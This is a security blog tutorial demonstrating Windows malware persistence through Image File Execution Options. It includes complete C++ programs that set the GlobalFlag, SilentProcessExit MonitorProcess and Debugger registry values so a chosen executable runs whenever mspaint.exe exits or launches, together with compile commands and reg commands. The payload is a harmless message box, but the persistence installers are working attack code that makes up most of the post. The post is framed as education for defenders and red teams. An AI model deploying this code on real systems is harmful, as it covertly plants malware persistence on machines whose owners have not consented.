4 minute read

Hello, cybersecurity enthusiasts and white hackers!

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This post is the result of self-researching one of the interesting malware persistence trick: via Image File Execution Options.

Image File Execution Options

IFEO enables developers to attach a debugger to an application or process. This allows the debugger/application to run concurrently with the application being debugged.

How to set this feature? We can launch a process/program when another application silently exits.

Silent exit for an application means the application has been terminated in one of two ways:

  1. Self termination by calling ExitProcess
  2. Another process terminates the monitored process by calling TerminateProcess

This is configurable via the following registry key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

practical example

Let’s go to run our malware once Microsoft Paint (mspaint.exe) is silently exiting.

So, let’s say we have our “malware” (hack.cpp):

/*
hack.cpp
evil app for windows persistence via IFEO
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

As you can see, as usually, I use “meow-meow” message box “malware” =^..^=

Then, create persistence script for modify registry (pers.cpp):

/*
pers.cpp
windows persistence via IFEO (GlobalFlag)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  DWORD gF = 512;
  DWORD rM = 1;

  // image file
  const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";

  // silent exit
  const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";

  // evil app
  const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";

  // GlobalFlag
  // LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
    RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
    RegCloseKey(hkey);
  }

  // res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe", 0 , KEY_WRITE, &hkey);
  res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "Z:\..\hack.exe"
    RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
    RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}

So what have we done here? Firstly, we created SilentProcessExit key under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion, then enabled silent process exit monitoring feature by adding GlobalFlag:

//...

LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);

//...
//...

// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
//...

By setting MonitorProcess to ...\hack.exe and ReportingMode to 1, every silent exit of mspaint.exe will now trigger the execution of our “malware” hack.exe:

//...

RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));

demo

Let’s go to see everything in action. Compile malware:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

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Run it, just for check correctness:

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So, check registry keys before:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s

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also SilentProcessExit:

req query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s

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As you can see, as expected, some registry keys are missing for our target application. So when it starts and closes nothing happens:

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Well, now let’s compile:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

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and run our script for persistence pers.exe, then check registry keys again:

.\pers.exe
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s

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reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s

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Finally, run mspaint.exe again:

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and close it:

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The ReportingMode registry key enables the Windows Error Reporting process (WerFault.exe) which will be the parent process of the MonitorProcess key value hack.exe:

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WerFault.exe - used for tracking errors related to operating system, Windows features and applications.

IFEO debugger type

There are another implementation of IFEO via debugger key. Just create a debugger to a victim process in this registry key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe

then only requires the malicious application to be stored in System32.

So source code is simple and looks like this:

/*
pers2.cpp
windows persistence via IFEO 2(Debugger)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  DWORD gF = 512;
  DWORD rM = 1;

  // image file
  const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";

  // evil app
  const char* exe = "hack.exe";

  // Debugger
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    // reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v Debugger /d "hack.exe"
    RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}

Let’s compile it:

x86_64-w64-mingw32-g++ -O2 pers2.cpp -o pers2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

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An example of how this appears in action:

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When the Microsoft Paint process (mspaint.exe) is launched this will cause the malware to be executed. Perfect!

This persistence trick is used by APT29 group and software like SUNBURST in the wild.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

ATT&CK MITRE: IFEO Injection
MSDN: Monitoring Silent Process Exit
Persistence using GlobalFlags in Image File Execution Options - Hidden from autoruns.exe
APT29
SUNBURST
source code on github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine